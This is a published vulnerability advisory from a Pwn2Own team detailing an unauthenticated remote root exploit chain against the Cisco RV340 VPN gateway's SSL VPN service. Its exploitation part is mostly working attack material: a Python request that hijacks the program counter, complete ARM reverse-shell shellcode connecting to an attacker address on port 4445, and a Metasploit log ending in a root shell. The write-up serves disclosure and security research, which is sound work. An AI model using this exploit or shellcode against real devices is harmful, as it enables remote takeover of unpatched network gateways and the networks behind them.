FLASHBACK CONNECTS - Cisco RV340 SSL VPN RCE

 

JUNE 18TH, 2020

flashback_connects (Cisco RV340 SSL VPN Unauthenticated Remote Code Execution as root)

Summary

This document describes a chain of vulnerabilities that were found by the Flashback Team: Pedro Ribeiro (@pedrib1337) && Radek Domanski (@RabbitPro) and presented at the Zero Day Initiative Pwn2Own Austin 2021 competition in November 2021.

The vulnerabilities described in this document are present in the Cisco RV340 (RV340), on firmware versions up to and including v1.0.03.24.

Cisco has released an updated firmware versions in February 2022 (v1.0.03.26) which fixes the vulnerability described in this advisory. Cisco added stack cookies, non executable stack, checks for buffer size and use safe variants of memory handling functions.

The default AnyConnect VPN configuration is exploitable by an unauthenticated attacker over the Wide Area Network (WAN) interface, who can achieve remote code execution as root on the RV340. The vulnerability exists in the SSL VPN module (sslvpnd).

The exploit chains two vulnerabilities to achieve code execution:

All code snippets in this advisory were obtained from files in firmware version v1.0.03.22.

This vulnerability was first publicly presented at OffensiveCon 2022. A companion Metasploit module was also released with this advisory that implements a full remote exploit.

These vulnerabilities are exploitable over the Internet as demonstrated in our YouTube video, Rice for Pretzels: Attacking a Cisco VPN Gateway 9000 km Away.

A copy of this advisory is kept at Radek's GitHub repo and also at Pedro's GitHub repo.

Vulnerability Details

Introduction

Cisco RV340 is a VPN gateway which implements a few different VPN protocols.

One of those is called "SSL VPN" (referred to as Cisco AnyConnect in their documentation) which by default listens on TCP port 8443 on the WAN interface. A user can connect with the Cisco VPN client (AnyConnect) and establish a VPN tunnel with the router.

Figure 1: Cisco AnyConnect VPN session establishment

The main binary, sslvpnd, is controlled by /usr/bin/sslvpnd_monitor, which constantly checks if sslvpnd is running and operational. If the binary is not running it is automatically restarted.

When a client connects to a sslvpnd service, it spawns new threads that handle the request.

As part of that operation the FUN_00053fe8 function (connection_loop) is invoked. This function creates 2 large buffers, 0x4000 each.

char PACKET_IN [16384];
  char body_buf [16388];

They are used to hold a HTTP request headers and the HTTP body. At first, PACKET_IN buffer is initialized and the HTTP headers are read into it, up to 0x4000 bytes:

memset(PACKET_IN,0,0x4000);
     /* This first reads only a HTTP header, without body */
num_bytes_read = nonblocking_ssl_read(param_1,PACKET_IN,0x4000);

Next, a function checks how large is the HTTP header part. It stores the result in num_bytes_read local variable and returns a pointer to the end of the header:

iVar3 = find_end_of_hdrs(PACKET_IN,num_bytes_read);

If request has a body, it will be read as a next step. It reads up to 0x4000 bytes so fits perfectly into allocated space.

if ((int)num_bytes_read < HTTP_hdr_size + Content_len_val) {
 memset(body_buf,0,0x4000);
 (...)
 num_bytes_read = nonblocking_ssl_read(param_1,body_buf,0x4000);

At this point, HTTP headers and body was read into corresponding buffers.

Figure 2: > > PACKET_IN> > and > > BODY_BUF

Next, a strncat function is called, which moves buffers together into 1 contiguous space. The size argument will not exceed 0x4000 as that is constrained by a nonblocking_ssl_read reads.

strncat(PACKET_IN,body_buf,num_bytes_read);

So if entire 0x4000 bytes have been sent the situation gets interesting. As we already had data in PACKET_IN buffer, it gets concatenated with a body packets, effectively overflowing buffer boundaries.

Figure 3: Body overflow

An obvious question arises, can we continue like this and overflow BODY_BUF?

Unfortunately it seems that it is not possible. If we send more data, BODY_BUF will first be cleared with null bytes and then new data will be read. That means that every time strncpy() function is called, we are concatenating a max 0x4000 bytes to, in worse case scenario, end of the PACKET_IN buffer. But BODY_BUF is large enough to hold this data, so no overflow occurs.

When all data has been read, the buffer is inserted to a special queue for further processing. One of the functions responsible for it is FUN_0004abbc (sslserver_recv_data_notify_msg_insert). And this is where the vulnerability is.

Stack based buffer overflow

sslserver_recv_data_notify_msg_insert is called from the connection_loop function with 2 parameters which are important here:

  • PACKET_IN: this is the buffer that an attacker controls content of
  • num_bytes_read: total number of bytes read. Attacker can also control this parameter.
sslserver_recv_data_notify_msg_insert(param_1,PACKET_IN,num_bytes_read & 0xffff,uVar6);

The sslserver_recv_data_notify_msg_insert function implements a following stack:

pthread_t pVar1;
  int iVar2;
  undefined4 uVar3;
  undefined4 uStack16432;
  undefined4 local_402c;
  undefined auStack16424 [16384]; // <- vulnerable buffer
  undefined2 uStack40;
  undefined4 uStack36;

There is a large buffer on the stack that has been designed to hold a maximum of 0x4000 bytes. Further down the function execution, there is a memcpy() function that copies data into this buffer.

memcpy(auStack16424,PACKET_IN,num_bytes_read);

This implementation doesn't take into account that the data in the PACKET_IN buffer can be up to 0x8000 bytes long, due to the previously mentioned strncat() function that joins those two 0x4000 buffers. Therefore, when a large packet is sent, we can overflow the stack buffer and overwrite the return address.

Figure 4: Stack overflow

FILLER = b'\x04' * (16400)
PC = b"\xcc\xcc\xcc\xcc\x00"
url = "https://%s:8443/" % TARGET

payload = FILLER + PC
r = requests.post(url, data=payload, verify=False)

[New Thread 30958.313]

Thread 10 "sslvpnd" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 30958.313]
0xcccccccc in ?? ()
(gdb) info registers 
r0             0x0                 0
r1             0x81                129
r2             0x1                 1
r3             0x1                 1
r4             0x4040404           67372036
r5             0x4040404           67372036
r6             0xcccccccc          3435973836
r7             0x4040404           67372036
r8             0x4040404           67372036
r9             0x4040404           67372036
r10            0x4040404           67372036
r11            0x18f89c            1636508
r12            0x0                 0
sp             0x704aebe8          0x704aebe8
lr             0x1                 1
pc             0xcccccccc          0xcccccccc
cpsr           0x600f0010          1611595792
(gdb)

Improper memory configuration

Although there is a stack overflow vulnerability, our controlled buffer is created with strncat(). It's possible to inject a terminating NULL byte that will be picked-up by the $pc giving an attacker control over the execution of the program. However, usage of strncat() means NULL bytes can not be present within the buffer which significantly complicates ROP chain construction.

The data and text segments of the sslvpnd binary are mapped into a memory section that requires NULL bytes in the address.

00010000-00172000 r-xp 00000000 00:0d 2279       /usr/bin/sslvpnd
00181000-00195000 rw-p 00161000 00:0d 2279       /usr/bin/sslvpnd

All shared libraries are randomized. That means an information leak vulnerability would be needed for us to know the library function addresses reliably.

We also didn't find any useful parts of code that could give us remote code execution right away (with a single ROP instruction).

However, the binary maps stack addresses with read-write-execute RWX permissions!

01099000-01151000 rw-p 00000000 00:00 0          [heap]
6fcb8000-6fcb9000 ---p 00000000 00:00 0 
6fcb9000-704b8000 rwxp 00000000 00:00 0          [stack:2961]

That means all that is required to gain arbitrary code execution is to place shellcode on the stack and jump to it.

Figure 5: Shellcode

As we control the content of the PACKET_IN, that seems to be a perfect candidate to place a shellcode. From our observation it seems stack addresses are very lightly randomized due to the use of threads being used.

When we take control of the execution, our $sp register will be pointing to one of the following stack addresses:

  • 0x704aebe8 with about 65% chance
  • 0x704f6be8 with about 35% chance

This is a very weird behaviour which we have never encountered! Usually randomisation on a 32 bit Linux kernel is very light, with about 12 bits of entropy. However, that's still 4096 possibilities, and here we only have two! If you know why this behaviour occurs, please let us know.

Another sort-of-mystery is that we're executing on the stack, and typically in ARM and MIPS CPU architectures we have to flush the instruction and data caches before we execute our shellcode (see this advisory for an explanation and example).

In our case, we got lucky and don't need to flush them! We speculate that this might be because sslvpnd has multiple threads running, and several of those are continuously calling nanosleep(), which flushes the caches for us.

Exploitation

Shellcode

Our shellcode is a TCP reverse shell to 5.5.5.1:4445 using an execve() syscall with no null bytes. We use THUMB mode shellcode to make it more compact.

When constructing shellcode, we have to keep in mind that it is processed by strncat(). Therefore, it can not contain any null bytes. That's why the command string is terminated with an "X" character, which is then replaced with a null byte in the instruction strb r2, [r0, #7].

Given the stack layout, our shellcode will be located about 0x12a from the $sp values discussed in the previous section. We noticed that by adding a few more filler bytes to the request we can get slightly higher reliability, but as discussed previously, there are two possible stack values when we take control.

We decided to place our shellcode at offset 0x1b0 from the most common $sp value discussed in the previous section (0x704aebe8). This means our exploit will only have 65% reliability, but that is good enough given that the sslvpnd automagically restarts in less than 30 seconds if our exploit fails, so we can just try again until it works.

We sacrifice reliability to have to a simpler exploit without the need for ROP, which is difficult (but not impossible) given the null byte constraints.

// Taken from Azeria's website and slightly modified
.global _start
_start:
.THUMB
// socket(2, 1, 0)
 mov   r0, #2
 mov   r1, #1
 sub   r2, r2
 mov   r7, #200
 add   r7, #81          // r7 = 281 (socket)
 svc   #1               // r0 = resultant sockfd
 mov   r4, r0           // save sockfd in r4

// connect(r0, &sockaddr, 16)
 adr   r1, struct       // pointer to address, port
 strb  r2, [r1, #1]     // write 0 for AF_INET
 mov   r2, #16
 add   r7, #2           // r7 = 283 (connect)
 svc   #1

// dup2(sockfd, 0)
 mov   r7, #63          // r7 = 63 (dup2)
 mov   r0, r4           // r4 is the saved sockfd
 sub   r1, r1           // r1 = 0 (stdin)
 svc   #1
// dup2(sockfd, 1)
 mov   r0, r4           // r4 is the saved sockfd
 mov   r1, #1           // r1 = 1 (stdout)
 svc   #1
// dup2(sockfd, 2)
 mov   r0, r4           // r4 is the saved sockfd
 mov   r1, #2           // r1 = 2 (stderr)
 svc   #1

// execve("/bin/sh", 0, 0)
 adr   r0, binsh
 sub   r2, r2
 sub   r1, r1
 strb  r2, [r0, #7]
 push  {r0, r2}
 mov   r1, sp
 cpy   r2, r1
 mov   r7, #11          // r7 = 11 (execve)
 svc   #1

 eor  r7, r7, r7

struct:
.ascii "\x02\xff"       // AF_INET 0xff will be NULLed
.ascii "\x11\x5d"       // port number 4445
.byte 5,5,5,1           // IP Address
binsh:
.ascii "/bin/shX"

When the shellcode executes it will create a TCP socket listening at 5.5.5.1:4445 and duplicate stdin, stout, stderr to that socket file descriptor. After receiving a connection, the execve() syscall is called, which spawns /bin/sh (busybox sh) and we can enjoy our beautiful root shell!

Exploit Log

msf6 exploit(linux/misc/cisco_rv340_sslvpn) > check
[*] 5.55.55.62:8443 - The service is running, but could not be validated.
msf6 exploit(linux/misc/cisco_rv340_sslvpn) > exploit

[*] Started reverse TCP handler on 5.55.55.1:4445
[*] 5.55.55.62:8443 - 5.55.55.62:8443 - Pwning Cisco RV340 Firmware Version <= 1.0.03.24
[*] Command shell session 30 opened (5.55.55.1:4445 -> 5.55.55.62:41976 ) at 2022-02-10 20:12:18 +0000

id
uid=0(root) gid=0(root)
uname -a
Linux router138486 4.1.8 #2 SMP Fri Oct 22 09:50:26 IST 2021 armv7l GNU/Linux

Exploit in action over the Internet

Have fun and PWN!

~ Flashback Team

Previous
Previous

WEEKEND DESTROYER - RCE in Western Digital PR4100 NAS

Next
Next

MINESWEEPER - TP-Link Archer C7 LAN RCE